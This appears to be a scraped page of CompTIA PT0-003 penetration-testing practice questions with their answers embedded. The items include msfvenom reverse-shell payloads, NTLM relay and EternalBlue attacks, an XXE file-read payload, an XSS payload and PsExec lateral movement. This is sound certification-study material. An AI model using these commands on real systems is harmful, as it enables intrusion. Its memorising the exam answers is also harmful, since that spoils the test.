A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?

msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000

msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none

net user add /administrator | hexdump > payload

A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following output:kotlinCopy codeNmap scan report for some_hostHost is up (0.01 latency).PORT STATE SERVICE445/tcp open microsoft-dsHost script results: smb2-security-mode: Message signing disabledWhich of the following command and attack methods is the most appropriate for reducing the chances of being detected?

responder -T eth0 -dwv ntlmrelayx.py -smb2support -tf <target>

msf > use exploit/windows/smb/ms17_010_psexec msf > <set options> msf > run

hydra -L administrator -P /path/to/passwdlist smb://<target>

nmap ---script smb-brute.nse -p 445 <target>

During a penetration test, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?

Run TruffleHog against a local clone of the application

Scan the live web application using Nikto

Perform a manual code review of the Git repository

Use SCA software to scan the application source code

Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

Encrypt and send the file over HTTPS

Use steganography and send the file over FTP

Compress the file and send it using TFTP

Split the file in tiny pieces and send it over dnscat

Encrypt and send the file over HTTPS

Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?

Setting up a reverse SSH connection

A penetration tester completes a scan and sees the following output on a host:bashCopy codeNmap scan report for victim (10.10.10.10)Host is up (0.0001s latency)PORT STATE SERVICE161/udp open|filtered snmp445/tcp open microsoft-ds3389/tcp open microsoft-dsRunning Microsoft Windows 7OS CPE: cpe:/o:microsoft:windows_7_sp0The tester wants to obtain shell access. Which of the following related exploits should the tester try first?

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms08_067_netapi

exploit/windows/smb/ms17_010_eternalblue

auxiliary/scanner/snmp/snmp_login

A client warns the assessment team that an ICS application is maintained by the manufacturer. Any tampering of the host could void the enterprise support terms of use. Which of the following techniques would be most effective to validate whether the application encrypts communications in transit?

Utilizing port mirroring on a firewall appliance

Installing packet capture software on the server

Reconfiguring the application to use a proxy

Requesting that certificate pinning be disabled

A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:xmlCopy code<?xml version='1.0'?><!DOCTYPE data [<!ENTITY foo SYSTEM 'file:///etc/passwd' >]><test>&foo;</test>Which of the following should the tester recommend in the report to best prevent this type of vulnerability?

Disable the use of external entities.

Drop all excessive file permissions with chmod o-rwx.

Ensure the requests application access logs are reviewed frequently.

Disable the use of external entities.

Implement a WAF to filter all incoming requests.

A penetration tester gains shell access to a Windows host. The tester needs to permanently turn off protections in order to install additional payload. Which of the following commands is most appropriate?

sc config <svc_name> start=disabled

A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information:Server-side request forgery (SSRF) vulnerability in test.comptia.orgReflected cross-site scripting (XSS) vulnerability in test2.comptia.orgPublicly accessible storage system named static_comptia_assetsSSH port 22 open to the internet on test3.comptia.orgOpen redirect vulnerability in test4.comptia.orgWhich of the following attack paths should the tester prioritize first?

Leverage the SSRF to gain access to credentials from the metadata service.

Synchronize all the information from the public bucket and scan it with Trufflehog.

Run Pacu to enumerate permissions and roles within the cloud-based systems.

Perform a full dictionary brute-force attack against the open SSH service using Hydra.

Use the reflected cross-site scripting attack within a phishing campaign to attack administrators.

Leverage the SSRF to gain access to credentials from the metadata service.

During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system:htmlCopy code7/<sCRitP>aLeRt('pwned')</ScriPt>Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?

XSS obfuscated: should be prevented by input sanitization

Arbitrary code execution: the affected computer should be placed on a perimeter network

SQL injection attack: should be detected and prevented by a web application firewall

Cross-site request forgery: should be detected and prevented by a firewall

XSS obfuscated: should be prevented by input sanitization

A penetration tester launches an attack against company employees. The tester clones the company's intranet log-in page and sends the link via email to all employees. Which of the following best describes the objective and tool selected by the tester to perform this activity?

Launching a phishing campaign using Gophish

Gaining remote access using BeEF

Obtaining the list of email addresses using theHarvester

Harvesting credentials using SET

Launching a phishing campaign using Gophish

Which of the following activities should be performed to prevent uploaded web shells from being exploited by others?

Perform secure data destruction.

Remove the persistence mechanisms.

Perform secure data destruction.

While performing a penetration testing exercise, a tester executes the following command:bashCopy codePS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exeWhich of the following best explains what the tester is trying to do?

Perform a lateral movement attack using PsExec.

Test connectivity using PSExec on the server01 using CMD.exe.

Perform a lateral movement attack using PsExec.

Send the PsExec binary file to the server01 using CMD.exe.

Enable CMD.exe on the server01 through PsExec.

During a penetration testing exercise, a team decides to use a watering hole strategy. Which of the following is the most effective approach for executing this attack?

Compromise a website frequently visited by the organization's employees.

Launch a DDoS attack on the organization's website.

Create fake social media profiles to befriend employees.

Send phishing emails to the organization's employees.

CompTIA PT0-003 Practice Test 4 - Free Online Exam Questions 121-160

Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?

Become a Premium Member for full access

Unlock Premium Member

CompTIA PT0-003 Practice Test 4

Question

CompTIA PT0-003 Practice Tests

Practice Tests